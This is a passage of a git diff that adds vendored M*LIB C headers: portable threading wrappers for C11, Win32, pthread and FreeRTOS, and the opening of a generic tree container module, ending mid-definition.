+# elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L               \
+  && !defined(__STDC_NO_THREADS__)
+#  define M_USE_THREAD_BACKEND 1
+# else
+#  define M_USE_THREAD_BACKEND 3
+# endif
+#endif
+
+
+/****************************** C11 version ********************************/
+#if M_USE_THREAD_BACKEND == 1
+
+#include <threads.h>
+#include <assert.h>
+#include <stdbool.h>
+#include "m-core.h"
+
+M_BEGIN_PROTECTED_CODE
+
+/* Define a mutex type based on C11 definition */
+typedef mtx_t                  m_mutex_t[1];
+
+/* Define a condition variable type based on C11 definition */
+typedef cnd_t                  m_cond_t[1];
+
+/* Define a thread type based on C11 definition */
+typedef thrd_t                 m_thread_t[1];
+
+/* Initialize the mutex (constructor) */
+M_INLINE void m_mutex_init(m_mutex_t m)
+{
+  int rc = mtx_init(m, mtx_plain);
+  // Abort program in case of initialization failure
+  // There is really nothing else to do if a mutex cannot be constructed
+  M_ASSERT_INIT (rc == thrd_success, "mutex");
+}
+
+/* Clear the mutex (destructor) */
+M_INLINE void m_mutex_clear(m_mutex_t m)
+{
+  mtx_destroy(m);
+}
+
+/* Lock the mutex */
+M_INLINE void m_mutex_lock(m_mutex_t m)
+{
+  mtx_lock(m);
+}
+
+/* Try to lock the mutex. Return true on success */
+M_INLINE bool m_mutex_trylock(m_mutex_t m)
+{
+  return mtx_trylock(m) == thrd_success;
+}
+
+/* Unlock the mutex */
+M_INLINE void m_mutex_unlock(m_mutex_t m)
+{
+  mtx_unlock(m);
+}
+
+/* Initialize the condition variable (constructor) */
+M_INLINE void m_cond_init(m_cond_t c)
+{
+  int rc = cnd_init(c);
+  // Abort program in case of initialization failure
+  // There is really nothing else to do if the object cannot be constructed
+  M_ASSERT_INIT (rc == thrd_success, "conditional variable");
+}
+
+/* Clear the condition variable (destructor) */
+M_INLINE void m_cond_clear(m_cond_t c)
+{
+  cnd_destroy(c);
+}
+
+/* Signal the condition variable to at least one waiting thread */
+M_INLINE void m_cond_signal(m_cond_t c)
+{
+  cnd_signal(c);
+}
+
+/* Signal the condition variable to all waiting threads */
+M_INLINE void m_cond_broadcast(m_cond_t c)
+{
+  cnd_broadcast(c);
+}
+
+/* Wait for signaling the condition variable by another thread */
+M_INLINE void m_cond_wait(m_cond_t c, m_mutex_t m)
+{
+  cnd_wait(c, m);
+}
+
+/* Create the thread (constructor) and start it */
+M_INLINE void m_thread_create(m_thread_t t, void (*func)(void*), void* arg)
+{
+  int rc = thrd_create(t, (int(*)(void*))(void(*)(void))func, arg);
+  // Abort program in case of initialization failure
+  M_ASSERT_INIT (rc == thrd_success, "thread");
+}
+
+/* Wait for the thread to terminate and destroy it (destructor) */
+M_INLINE void m_thread_join(m_thread_t t)
+{
+  int rc = thrd_join(*t, NULL);
+  M_ASSERT (rc == thrd_success);
+  // Avoid warning about variable unused.
+  (void) rc;
+}
+
+/* The thread has nothing meaningful to do.
+   Inform the OS to let other threads be scheduled */
+M_INLINE void m_thread_yield(void)
+{
+  thrd_yield();
+}
+
+/* Sleep the thread for at least usec microseconds.
+   Return true if the sleep was successful (or we cannot know) */
+M_INLINE bool m_thread_sleep(unsigned long long usec)
+{
+  struct timespec tv;
+  tv.tv_sec = (long) (usec / 1000000ULL);
+  tv.tv_nsec = (long) ((usec % 1000000ULL) * 1000UL);
+  int retval = thrd_sleep(&tv, NULL);
+  return retval == 0;
+}
+
+// a helper structure for m_once_call
+typedef once_flag                     m_once_t[1];
+
+// Initial value for m_once_t
+#define M_ONCE_INIT_VALUE            { ONCE_FLAG_INIT }
+
+// Call the function exactly once
+M_INLINE void m_once_call(m_once_t o, void (*func)(void))
+{
+  call_once(o,func);
+}
+
+// Attribute to use to allocate a global variable to a thread.
+#define M_THREAD_ATTR _Thread_local
+
+M_END_PROTECTED_CODE
+
+
+/****************************** WIN32 version ******************************/
+#elif M_USE_THREAD_BACKEND == 2
+
+/* CLANG provides some useless and wrong warnings:
+ * - _WIN32_WINNT starts with '_' which is reserved by the standard
+ * as per the MSVC compiler, it is needed to be defined by the user
+ * to define which version of windows it want to be compatible with.
+ * - windows.h may be different than the case used by the file sytem
+ * there is however no normalized case.
+ *
+ * So, theses warnings have to be ignored and are disabled.
+ *
+ * We cannot add theses warnings in M_BEGIN_PROTECTED_CODE
+ * as they need to be disabled **BEFORE** including any system header
+ * and m-core includes some system headers.
+ * So we need to disable them explicitly here.
+ */
+#if defined(__clang__) && __clang_major__ >= 4
+  _Pragma("clang diagnostic push")
+  _Pragma("clang diagnostic ignored \"-Wreserved-id-macro\"")
+  _Pragma("clang diagnostic ignored \"-Wnonportable-system-include-path\"")
+#endif
+
+/* CriticalSection & ConditionVariable are available from Windows Vista */
+#ifndef WINVER
+#define WINVER        _WIN32_WINNT_VISTA
+#endif
+#ifndef _WIN32_WINNT
+#define _WIN32_WINNT  _WIN32_WINNT_VISTA
+#endif
+
+/* Include system headers */
+#include <windows.h>
+#include <assert.h>
+#include <stdbool.h>
+#include "m-core.h"
+
+#if defined(__clang__) && __clang_major__ >= 4
+  _Pragma("clang diagnostic pop")
+#endif
+
+M_BEGIN_PROTECTED_CODE
+
+/* Define a thread type based on WINDOWS definition */
+typedef HANDLE                 m_thread_t[1];
+
+/* Define a mutex type based on WINDOWS definition */
+typedef CRITICAL_SECTION       m_mutex_t[1];
+
+/* Define a condition variable type based on WINDOWS definition */
+typedef CONDITION_VARIABLE     m_cond_t[1];
+
+/* Initialize a mutex (Constructor)*/
+M_INLINE void m_mutex_init(m_mutex_t m)
+{
+  InitializeCriticalSection(m);
+}
+
+/* Clear a mutex (destructor) */
+M_INLINE void m_mutex_clear(m_mutex_t m)
+{
+  DeleteCriticalSection(m);
+}
+
+/* Lock a mutex */
+M_INLINE void m_mutex_lock(m_mutex_t m)
+{
+  EnterCriticalSection(m);
+}
+
+/* Try to Lock a mutex. Return true on success */
+M_INLINE bool m_mutex_trylock(m_mutex_t m)
+{
+  return TryEnterCriticalSection(m) != 0;
+}
+
+/* Unlock a mutex */
+M_INLINE void m_mutex_unlock(m_mutex_t m)
+{
+  LeaveCriticalSection(m);
+}
+
+/* Initialize a condition variable (constructor) */
+M_INLINE void m_cond_init(m_cond_t c)
+{
+  InitializeConditionVariable(c);
+}
+
+/* Clear a condition variable (destructor) */
+M_INLINE void m_cond_clear(m_cond_t c)
+{
+  (void) c; // There is no destructor for this object.
+}
+
+/* Signal a condition variable to at least one waiting thread */
+M_INLINE void m_cond_signal(m_cond_t c)
+{
+  WakeConditionVariable(c);
+}
+
+/* Signal a condition variable to all waiting threads */
+M_INLINE void m_cond_broadcast(m_cond_t c)
+{
+  WakeAllConditionVariable(c);
+}
+
+/* Wait for a condition variable */
+M_INLINE void m_cond_wait(m_cond_t c, m_mutex_t m)
+{
+  SleepConditionVariableCS(c, m, INFINITE);
+}
+
+/* Create a thread (constructor) and start it */
+M_INLINE void m_thread_create(m_thread_t t, void (*func)(void*), void *arg)
+{
+  *t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) (uintptr_t) func, arg, 0, NULL);
+  M_ASSERT_INIT (*t != NULL, "thread");
+}
+
+/* Wait for the thread to terminate and destroy it (destructor) */
+M_INLINE void m_thread_join(m_thread_t t)
+{
+  DWORD dwWaitResult = WaitForSingleObject(*t, INFINITE);
+  (void) dwWaitResult;
+  M_ASSERT (dwWaitResult == WAIT_OBJECT_0);
+  CloseHandle(*t);
+}
+
+/* The thread has nothing meaningful to do.
+   Inform the OS to let other threads be scheduled */
+M_INLINE void m_thread_yield(void)
+{
+  Sleep(0);
+}
+
+/* Sleep the thread for at least usec microseconds
+   Return true if the sleep was successful */
+M_INLINE bool m_thread_sleep(unsigned long long usec)
+{
+  LARGE_INTEGER ft;
+  M_ASSERT (usec <= LLONG_MAX);
+  ft.QuadPart = -(10LL*(long long) usec);
+  HANDLE hd = CreateWaitableTimer(NULL, TRUE, NULL);
+  M_ASSERT_INIT (hd != NULL, "timer");
+  SetWaitableTimer(hd, &ft, 0, NULL, NULL, 0);
+  DWORD dwWaitResult = WaitForSingleObject(hd, INFINITE);
+  CloseHandle(hd);
+  return dwWaitResult == WAIT_OBJECT_0;
+}
+
+
+typedef INIT_ONCE                     m_once_t[1];
+#define M_ONCE_INIT_VALUE            { INIT_ONCE_STATIC_INIT }
+M_INLINE BOOL CALLBACK m_once_callback( PINIT_ONCE InitOnce, PVOID Parameter, PVOID *lpContext)
+{
+    void (*func)(void);
+    (void) InitOnce;
+    (void) lpContext;
+    func = (void (*)(void))(uintptr_t) Parameter;
+    (*func)();
+    return TRUE;
+}
+M_INLINE void m_once_call(m_once_t o, void (*func)(void))
+{
+  InitOnceExecuteOnce(o, m_once_callback, (void*)(intptr_t)func, NULL);
+}
+
+#if defined(_MSC_VER)
+// Attribute to use to allocate a global variable to a thread (MSVC def).
+# define M_THREAD_ATTR __declspec( thread )
+#else
+// Attribute to use to allocate a global variable to a thread (GCC def).
+# define M_THREAD_ATTR __thread
+#endif
+
+M_END_PROTECTED_CODE
+
+
+/**************************** PTHREAD version ******************************/
+#elif M_USE_THREAD_BACKEND == 3
+
+#include <pthread.h>
+#ifdef _POSIX_PRIORITY_SCHEDULING
+#include <sched.h>
+#endif
+#include <sys/time.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <assert.h>
+#include <stdbool.h>
+#include "m-core.h"
+
+M_BEGIN_PROTECTED_CODE
+
+/* Define a mutex type based on PTHREAD definition */
+typedef pthread_mutex_t        m_mutex_t[1];
+
+/* Define a condition variable type based on PTHREAD definition */
+typedef pthread_cond_t         m_cond_t[1];
+
+/* Define a thread type based on PTHREAD definition */
+typedef pthread_t              m_thread_t[1];
+
+/* Initialize the mutex (constructor) */
+M_INLINE void m_mutex_init(m_mutex_t m)
+{
+  int _rc = pthread_mutex_init(m, NULL);
+  // Abort program in case of initialization failure
+  // There is really nothing else to do if a mutex cannot be constructed
+  M_ASSERT_INIT (_rc == 0, "mutex");
+}
+
+/* Clear the mutex (destructor) */
+M_INLINE void m_mutex_clear(m_mutex_t m)
+{
+  pthread_mutex_destroy(m);
+}
+
+/* Lock the mutex */
+M_INLINE void m_mutex_lock(m_mutex_t m)
+{
+  pthread_mutex_lock(m);
+}
+
+/* Try to Lock a mutex. Return true on success */
+M_INLINE bool m_mutex_trylock(m_mutex_t m)
+{
+  return pthread_mutex_trylock(m) == 0;
+}
+
+/* Unlock the mutex */
+M_INLINE void m_mutex_unlock(m_mutex_t m)
+{
+  pthread_mutex_unlock(m);
+}
+
+/* Lazy lock initialization */
+#define M_MUTEXI_INIT_VALUE    { PTHREAD_MUTEX_INITIALIZER }
+
+/* Internal function compatible with lazy lock */
+M_INLINE void m_mutexi_lazy_lock(m_mutex_t m)
+{
+  pthread_mutex_lock(m);
+}
+
+/* Initialize the condition variable (constructor) */
+M_INLINE void m_cond_init(m_cond_t c)
+{
+  int _rc = pthread_cond_init(c, NULL);
+  // Abort program in case of initialization failure
+  // There is really nothing else to do if a mutex cannot be constructed
+  M_ASSERT_INIT (_rc == 0, "conditional variable");
+}
+
+/* Clear the condition variable (destructor) */
+M_INLINE void m_cond_clear(m_cond_t c)
+{
+  pthread_cond_destroy(c);
+}
+
+/* Signal a condition variable to at least a waiting thread */
+M_INLINE void m_cond_signal(m_cond_t c)
+{
+  pthread_cond_signal(c);
+}
+
+/* Signal a condition variable to all waiting threads */
+M_INLINE void m_cond_broadcast(m_cond_t c)
+{
+  pthread_cond_broadcast(c);
+}
+
+/* Waiting for a condition variable */
+M_INLINE void m_cond_wait(m_cond_t c, m_mutex_t m)
+{
+  pthread_cond_wait(c, m);
+}
+
+/* Create a thread (constructor) and start it */
+M_INLINE void m_thread_create(m_thread_t t, void (*func)(void*), void *arg)
+{
+  int _rc = pthread_create(t, NULL, (void*(*)(void*))(void(*)(void))func, arg);
+  M_ASSERT_INIT (_rc == 0, "thread");
+}
+
+/* Wait for the thread to terminate and destroy it (destructor) */
+M_INLINE void m_thread_join(m_thread_t t)
+{
+  int _rc = pthread_join(*t, NULL);
+  (void)_rc; // Avoid warning about variable unused.
+  M_ASSERT (_rc == 0);
+}
+
+/* The thread has nothing meaningful to do.
+   Inform the OS to let other threads be scheduled */
+M_INLINE void m_thread_yield(void)
+{
+#ifdef _POSIX_PRIORITY_SCHEDULING
+  sched_yield();
+#endif
+}
+
+/* Sleep for at least usec microseconds
+   Return true if the sleep was successful */
+M_INLINE bool m_thread_sleep(unsigned long long usec)
+{
+  struct timeval tv;
+  /* We don't want to use usleep or nanosleep so that
+     we remain compatible with strict C99 build */
+  tv.tv_sec = (time_t) (usec / 1000000ULL);
+  tv.tv_usec = (suseconds_t) (usec % 1000000ULL);
+  int retval = select(1, NULL, NULL, NULL, &tv);
+  return retval == 0;
+}
+
+typedef pthread_once_t                m_once_t[1];
+#define M_ONCE_INIT_VALUE            { PTHREAD_ONCE_INIT }
+M_INLINE void m_once_call(m_once_t o, void (*func)(void))
+{
+  pthread_once(o,func);
+}
+
+#if defined(__GNUC__)
+# define M_THREAD_ATTR __thread
+#else
+# define M_THREAD_ATTR  /* Not supported */
+#endif
+
+M_END_PROTECTED_CODE
+
+/****************************** FreeRTOS version ********************************/
+#elif M_USE_THREAD_BACKEND == 4
+
+#include <stdatomic.h>
+#include <semphr.h>
+#include <task.h>
+#include "m-core.h"
+
+M_BEGIN_PROTECTED_CODE
+
+/* Default value for the stack */
+#ifndef M_USE_TASK_STACK_SIZE
+#define M_USE_TASK_STACK_SIZE    configMINIMAL_STACK_SIZE
+#endif
+
+/* Default value for the priority tasks */
+#ifndef M_USE_TASK_PRIORITY
+#define M_USE_TASK_PRIORITY ( tskIDLE_PRIORITY )
+#endif
+
+/* Define a mutex type based on FreeRTOS definition */
+typedef struct m_mutex_s {
+    SemaphoreHandle_t   handle;
+    StaticSemaphore_t   MutexBuffer;
+} m_mutex_t[1];
+
+/* Define a thread type based on FreeRTOS definition */
+typedef struct m_cond_s {
+    SemaphoreHandle_t   handle;
+    StaticSemaphore_t   SemBuffer;
+    unsigned int        NumThreadWaiting;
+} m_cond_t[1];
+
+/* Define a thread type based on FreeRTOS definition */
+typedef struct m_thread_s {
+    SemaphoreHandle_t   SemHandle;
+    StaticSemaphore_t   SemBuffer;
+    TaskHandle_t        TaskHandle;
+    StaticTask_t        TaskBuffer;
+    void                (*EntryPoint)(void *);
+    void*               ArgsEntryPoint;
+    StackType_t*        StackBuffer;
+} m_thread_t[1];
+
+/* Initialize the mutex (constructor) */
+M_INLINE void m_mutex_init(m_mutex_t m)
+{
+    /* Create a mutex semaphore without using any dynamic allocation */
+    m->handle = xSemaphoreCreateMutexStatic(&m->MutexBuffer);
+    // It cannot fail, so we won't use M_ASSERT_INIT
+    M_ASSERT(m->handle);
+}
+
+/* Clear the mutex (destructor) */
+M_INLINE void m_mutex_clear(m_mutex_t m)
+{
+    vSemaphoreDelete(m->handle);
+}
+
+/* Lock the mutex */
+M_INLINE void m_mutex_lock(m_mutex_t m)
+{
+    xSemaphoreTake(m->handle, portMAX_DELAY);
+}
+
+/* Try to Lock a mutex. Return true on success */
+M_INLINE bool m_mutex_trylock(m_mutex_t m)
+{
+  return xSemaphoreTake(m->handle, 0) == pdTRUE;
+}
+
+/* Unlock the mutex */
+M_INLINE void m_mutex_unlock(m_mutex_t m)
+{
+    xSemaphoreGive(m->handle);
+}
+
+
+/* Initialize the condition variable (constructor) */
+M_INLINE void m_cond_init(m_cond_t c)
+{
+    c->NumThreadWaiting = 0;
+    // Create a semaphore to implement the conditional variable
+    // Initial value is 0 and valid range is <= 0
+    c->handle = xSemaphoreCreateCountingStatic( INT_MAX, 0, &c->SemBuffer );
+    // It cannot fail, so we won't use M_ASSERT_INIT
+    M_ASSERT(c->handle);
+}
+
+/* Clear the condition variable (destructor) */
+M_INLINE void m_cond_clear(m_cond_t c)
+{
+    vSemaphoreDelete(c->handle);
+}
+
+/* Signal the condition variable to at least one waiting thread */
+M_INLINE void m_cond_signal(m_cond_t c)
+{
+    // This function is called within the mutex lock
+    // NumThreadWaiting doesn't need to be atomic
+    if (c->NumThreadWaiting > 0) {
+        // Wakeup one thread by posting on the semaphore
+        xSemaphoreGive(c->handle);
+    } // Otherwise there is no waiting thread, so nothing to signal
+}
+
+/* Signal the condition variable to all waiting threads */
+M_INLINE void m_cond_broadcast(m_cond_t c)
+{
+    // This function is called within the mutex lock
+    // NumThreadWaiting doesn't need to be atomic
+    if (c->NumThreadWaiting > 0) {
+        // Wakeup all thread by posting on the semaphore
+        // as many times as there are waiting threads
+        for(unsigned i = 0; i < c->NumThreadWaiting; i++) {
+            xSemaphoreGive(c->handle);
+        }
+    } // Otherwise there is no waiting thread, so nothing to signal
+}
+
+/* Wait for signaling the condition variable by another thread */
+M_INLINE void m_cond_wait(m_cond_t c, m_mutex_t m)
+{
+    // This function is called within the mutex lock
+    // Increment the number of waiting thread
+    c->NumThreadWaiting ++;
+    m_mutex_unlock(m);
+    // Wait for post in the semaphore
+    xSemaphoreTake(c->handle, portMAX_DELAY);
+    m_mutex_lock(m);
+    c->NumThreadWaiting --;
+}
+
+M_INLINE void m_thr3ad_wrapper( void *args)
+{
+    struct m_thread_s *thread_ptr = args;
+    thread_ptr->EntryPoint(thread_ptr->ArgsEntryPoint);
+    // Give back the semaphore.
+    xSemaphoreGive(thread_ptr->SemHandle);
+    // Wait for destruction
+    while (true) { vTaskSuspend(NULL); }
+}
+
+/* Create the thread (constructor) and start it */
+M_INLINE void m_thread_create(m_thread_t t, void (*func)(void*), void* arg)
+{
+    // Create a semaphore to implement the final wait
+    t->SemHandle = xSemaphoreCreateCountingStatic( 1, 0, &t->SemBuffer );
+    M_ASSERT(t->SemHandle);
+    // Save the argument to the thread
+    t->EntryPoint = func;
+    t->ArgsEntryPoint = arg;
+
+    // Allocate the stack
+    t->StackBuffer = pvPortMalloc( sizeof (StackType_t) * M_USE_TASK_STACK_SIZE);
+    M_ASSERT_INIT(t->StackBuffer, "STACK");
+
+    // Create the task without using any dynamic allocation
+    t->TaskHandle = xTaskCreateStatic(m_thr3ad_wrapper, "M*LIB", M_USE_TASK_STACK_SIZE, (void*) t, M_USE_TASK_PRIORITY, t->StackBuffer, &t->TaskBuffer);
+    // It cannot fail, so we won't use M_ASSERT_INIT
+    M_ASSERT(t->TaskHandle);
+}
+
+/* Wait for the thread to terminate and destroy it (destructor) */
+M_INLINE void m_thread_join(m_thread_t t)
+{
+    xSemaphoreTake(t->SemHandle, portMAX_DELAY);
+    vTaskDelete(t->TaskHandle);
+    vPortFree(t->StackBuffer);
+    vSemaphoreDelete(t->SemHandle);
+    t->TaskHandle = 0;
+    t->StackBuffer = 0;
+    t->SemHandle = 0;
+}
+
+/* The thread has nothing meaningful to do.
+   Inform the OS to let other threads be scheduled */
+M_INLINE void m_thread_yield(void)
+{
+    taskYIELD();
+}
+
+/* Sleep the thread for at least usec microseconds.
+   Return true if the sleep was successful */
+M_INLINE bool m_thread_sleep(unsigned long long usec)
+{
+    TickType_t  delay = (TickType_t) (usec / portTICK_PERIOD_MS / 1000ULL);
+    vTaskDelay(delay);
+    return true;
+}
+
+// a helper structure for m_once_call
+typedef struct {
+    atomic_int count;
+} m_once_t[1];
+
+// Initial value for m_once_t
+#define M_ONCE_INIT_VALUE            { { M_ATOMIC_VAR_INIT(0) } }
+
+// Call the function exactly once
+M_INLINE void m_once_call(m_once_t o, void (*func)(void))
+{
+    if (atomic_load(&o->count) != 2) {
+        int n = 0;
+        if (atomic_compare_exchange_strong( &o->count, &n, 1)) {
+            // First thread success
+            func();
+            atomic_store(&o->count,  2);
+        }
+        // Wait for function call (FIXME: priority inversion possible?)
+        while (atomic_load(&o->count) != 2) { m_thread_yield(); }
+    } // Already called. Nothing to do
+}
+
+// Attribute to use to allocate a global variable to a thread.
+#define M_THREAD_ATTR __thread
+
+M_END_PROTECTED_CODE
+
+/******************************** INVALID VALUE **********************************/
+
+#else
+# error Value of M_USE_THREAD_BACKEND is incorrect. Please see the documentation for valid usage.
+#endif
+
+// TODO: Obsolete M_LOCK macro.
+
+/* M_LOCK macro. Allow simple locking encapsulation.
+   USAGE:
+    static M_LOCK_DECL(name);
+    int f(int n) {
+      M_LOCK(name) {
+        // Exclusive access
+      }
+    }
+*/
+/* NOTE: Either using direct support by the OS (WIN32/PTHREAD)
+   or using C11's ONCE mechanism */
+#ifdef M_MUTEXI_INIT_VALUE
+# define M_LOCK_DECL(name) m_mutex_t name = M_MUTEXI_INIT_VALUE
+# define M_LOCK(name)                                                         \
+  M_LOCKI_DO(name, M_C(local_cont_, __LINE__), m_mutexi_lazy_lock, m_mutex_unlock)
+#else
+# define M_LOCK_DECL(name)                                                    \
+  m_mutex_t name;                                                             \
+  static void M_C(m_mutex_init_, name)(void) {                                \
+    m_mutex_init(name);                                                       \
+  }                                                                           \
+  m_once_t M_C(m_once_, name) = M_ONCE_INIT_VALUE
+# define M_LOCKI_BY_ONCE(name)                                                \
+  (m_once_call(M_C(m_once_, name), M_C(m_mutex_init_, name)),                 \
+   m_mutex_lock(name), (void) 0 )
+# define M_LOCK(name)                                                         \
+  M_LOCKI_DO(name, M_C(local_cont_, __LINE__), M_LOCKI_BY_ONCE, m_mutex_unlock)
+#endif
+
+#define M_LOCKI_DO(name, cont, lock_func, unlock_func)                        \
+  for(bool cont = true                                                        \
+        ; cont && (lock_func (name), true);                                   \
+      (unlock_func (name), cont = false))
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-tree.h b/lib/subghz_unleashed_compat/include/mlib/m-tree.h
new file mode 100644
index 000000000..6108fe52d
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-tree.h
@@ -0,0 +1,1580 @@
+/*
+ * M*LIB - TREE module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_TREE_H
+#define MSTARLIB_TREE_H
+
+#include "m-core.h"
+
+/* Define a complete tree of 'type'
+    https://en.wikipedia.org/wiki/Tree_(data_structure)
+   USAGE: 
+   TREE_DEF(name, type_t[, type_oplist])
+*/
+#define M_TREE_DEF(name, ...)                                                 \
+    M_TREE_DEF_AS(name, M_F(name, _t), M_F(name, _it_t), __VA_ARGS__)
+
+/* Define a complete tree of 'type'
+   as the given name name_t with its associated functions.
+   USAGE: 
+   TREE_DEF_AS(name, name_t, it_t, type_t[, type_oplist])
+*/
+#define M_TREE_DEF_AS(name, name_t, it_t, ...)                                \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_TR33_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                   \
+             ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t ), \
+              (name, __VA_ARGS__,                                        name_t, it_t ))) \
+  M_END_PROTECTED_CODE
+
+/* Maximum number of child per node.
+   Used for assertion. */
+#ifndef M_USE_TREE_MAX_CHILD_PER_PARENT
+#define M_USE_TREE_MAX_CHILD_PER_PARENT 10000000
+#endif
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+# define M_TR33_NODE_CONTRACT(node, tree) do {                                \
+    M_ASSERT( (tree)->size > 0);                                              \
+    M_ASSERT( (node)->parent != M_TR33_NO_NODE);                              \
+    M_ASSERT( (node)->parent == M_TR33_ROOT_NODE || (node)->parent >= 0);     \
+    M_ASSERT( (node)->parent != M_TR33_ROOT_NODE || (node) == &(tree)->tab[(tree)->root_index] ); \
+} while (0)
+
+# define M_TR33_CONTRACT(tree) do {                                           \
+    M_ASSERT( (tree)->size >= 0 && (tree)->size <= (tree)->capacity);         \
+    M_ASSERT( (tree)->capacity >= 0 );                                        \
+    M_ASSERT( (tree)->capacity == 0 || (tree)->tab != NULL);                  \
+    M_ASSERT( (tree)->allow_realloc == 0 || (tree)->allow_realloc == INT32_MAX ); \
+    M_ASSERT( (tree)->free_index >= M_TR33_NO_NODE && (tree)->free_index < (tree)->capacity); \
+    M_ASSERT( (tree)->root_index >= M_TR33_NO_NODE && (tree)->root_index < (tree)->capacity); \
+    M_ASSERT( (tree)->allow_realloc != 0 || (tree)->free_index < 0 || (tree)->tab[(tree)->free_index].parent == M_TR33_NO_NODE); \
+    M_ASSERT( (tree)->allow_realloc != 0 || (tree)->root_index < 0 || (tree)->tab[(tree)->root_index].parent == M_TR33_ROOT_NODE); \
+    M_ASSERT( (tree)->root_index != M_TR33_NO_NODE || (tree)->size == 0);     \
+} while (0)
+
+# define M_TR33_IT_CONTRACT(it, valid) do {                                   \
+    M_TR33_CONTRACT( (it).tree);                                              \
+    M_ASSERT(valid == false || (it).index >= 0);                              \
+    if ((it).index >= 0) {                                                    \
+        M_ASSERT( (it).index < (it).tree->capacity);                          \
+        M_TR33_NODE_CONTRACT(&(it).tree->tab[(it).index], (it).tree);         \
+        /* Don't deref table if realloc is disabled as the tree can be        \
+           accessed concurrently (for _ref methods) */                        \
+        if ( (it).tree->allow_realloc == 0) {                                 \
+        /* All children of this node have the parent field correctly set */   \
+        m_tr33_index_t itj = (it).tree->tab[(it).index].child;                \
+        /* They all have their siblings as the left node */                   \
+        m_tr33_index_t lftj = M_TR33_NO_NODE;                                 \
+        /* We don't have any infinite loop */                                 \
+        unsigned cpt = 0;                                                     \
+        while (itj >= 0) {                                                    \
+            M_ASSERT( (it).tree->tab[itj].parent == (it).index );             \
+            M_ASSERT( (it).tree->tab[itj].left == lftj );                     \
+            lftj = itj;                                                       \
+            itj = (it).tree->tab[itj].right;                                  \
+            M_ASSERT( ++cpt < M_USE_TREE_MAX_CHILD_PER_PARENT);               \
+        }                                                                     \
+        (void) cpt; /* may be unused in release mode */                       \
+        (void) lftj; /* may be unused in release mode */                      \
+        }                                                                     \
+    }                                                                         \
+} while (0)
+
+/* Deferred evaluation */
+#define M_TR33_DEF_P1(arg) M_ID( M_TR33_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_TR33_DEF_P2(name, type, oplist, tree_t, it_t)                       \
+  M_IF_OPLIST(oplist)(M_TR33_DEF_P3, M_TR33_DEF_FAILURE)(name, type, oplist, tree_t, it_t)
+
+/* Stop processing with a compilation failure */
+#define M_TR33_DEF_FAILURE(name, type, oplist, tree_t, it_t)                  \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(TREE_DEF): the given argument is not a valid oplist: " #oplist)
+
+/* type of an index in the tree. Up to 2^31-1 nodes can be created.*/
+typedef int32_t m_tr33_index_t; 
+
+/* Special value for the parent field of a node:
+    * M_TR33_ROOT_NODE is only for the root node.
+    * M_TR33_NO_NODE is for nodes without parent, i.e. the pool of free nodes.
+ */
+#define M_TR33_ROOT_NODE (-2)
+#define M_TR33_NO_NODE (-1)
+
+/* Internal definition:
+   - name: prefix to be used
+   - type: type of the elements of the tree
+   - oplist: oplist of the type of the elements of the tree
+   - tree_t: alias for the type of the tree
+   - it_t: alias for the iterator of the tree
+
+   A free node is identified as parent as M_TR33_NO_NODE, in which case child is the next item in the list of free node.
+   A root node is identified as parent as M_TR33_ROOT_NODE
+*/
+#define M_TR33_DEF_P3(name, type, oplist, tree_t, it_t)                       \
+  M_TR33_DEF_TYPE(name, type, oplist, tree_t, it_t)                           \
+  M_TR33_DEF_P4_CORE(name, type, oplist, tree_t, it_t)                        \
+  M_TR33_DEF_P4_EXT(name, type, oplist, tree_t, it_t)                         \
+  M_TR33_DEF_P4_IO(name, type, oplist, tree_t, it_t)                          \
+  M_TR33_DEF_P4_EMPLACE(name, type, oplist, tree_t, it_t)
+
+#define M_TR33_DEF_TYPE(name, type, oplist, tree_t, it_t)                     \
+                                                                              \
+    /* Define a node of the tree.                                             \
+       Each node of a tree is present in the array of the tree and as such    \
+       we don't store the reference of other nodes using pointers but using   \
+       integers. It is shorter and avoids allocating too much data.           \
+       As such, a node may move on inserting another one, and                 \
+       an iterator is not a pointer on the node but an index in this array.   \
+       + 'parent' is the parent node of the current node,                     \
+          or M_TR33_ROOT_NODE if it is a root.                                \
+       + 'child' is the first child node of the current node (the left one)   \
+          or M_TR33_NO_NODE if there is none.                                 \
+       + 'left' is the left sibling or M_TR33_NO_NODE if there is none        \
+       + 'right' is the right sibling or M_TR33_NO_NODE if there is none      \
+       + 'data' if the data field of the node containing the given type       \
+    */                                                                        \
+    typedef struct M_F(name, _node_s) {                                       \
